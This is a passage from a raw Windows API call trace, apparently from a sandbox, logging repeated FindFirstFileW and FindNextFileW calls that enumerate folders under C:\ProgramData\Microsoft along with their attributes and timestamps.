ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0136.679] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0136.679] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa9fd6a20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xa9fd6a20, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0136.679] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a4bec96, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1a4bec96, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0136.679] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0136.679] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0136.679] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0136.679] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.679] SetErrorMode (uMode=0x0) returned 0x1 [0136.679] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft", lpFilePart=0x0) returned 0x18 [0136.680] SetErrorMode (uMode=0x1) returned 0x0 [0136.680] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\*" (normalized: "c:\\programdata\\microsoft\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9152f250, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x9152f250, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9152f250, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x9152f250, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assistance", cAlternateFileName="ASSIST~1")) returned 1 [0136.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2661ba40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2661ba40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRun", cAlternateFileName="CLICKT~1")) returned 1 [0136.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0136.680] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0136.681] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0136.681] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0136.681] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1 [0136.681] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0136.681] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0136.681] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0136.681] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0136.681] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0136.681] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab22c10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x3100cb20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x3100cb20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0136.681] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9152f250, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xd7a2d040, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd7a2d040, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0136.681] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0136.681] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7857c6f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7857c6f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7857c6f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0136.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7a090130, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a090130, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0136.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0136.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa9fd6a20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xa9fd6a20, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0136.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1a4bec96, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1a4bec96, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0136.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0136.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0136.682] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0136.682] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.682] SetErrorMode (uMode=0x0) returned 0x1 [0136.683] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x23 [0136.683] SetErrorMode (uMode=0x1) returned 0x0 [0136.683] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*" (normalized: "c:\\programdata\\microsoft\\assistance\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.684] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.684] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0136.684] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 0 [0136.684] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.684] SetErrorMode (uMode=0x0) returned 0x1 [0136.684] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance", lpFilePart=0x0) returned 0x23 [0136.684] SetErrorMode (uMode=0x1) returned 0x0 [0136.685] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\*" (normalized: "c:\\programdata\\microsoft\\assistance\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.685] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.685] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0136.685] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 0 [0136.685] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.685] SetErrorMode (uMode=0x0) returned 0x1 [0136.686] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2a [0136.686] SetErrorMode (uMode=0x1) returned 0x0 [0136.686] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.686] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.687] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0136.687] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0136.687] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.687] SetErrorMode (uMode=0x0) returned 0x1 [0136.687] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client", nBufferLength=0x105, 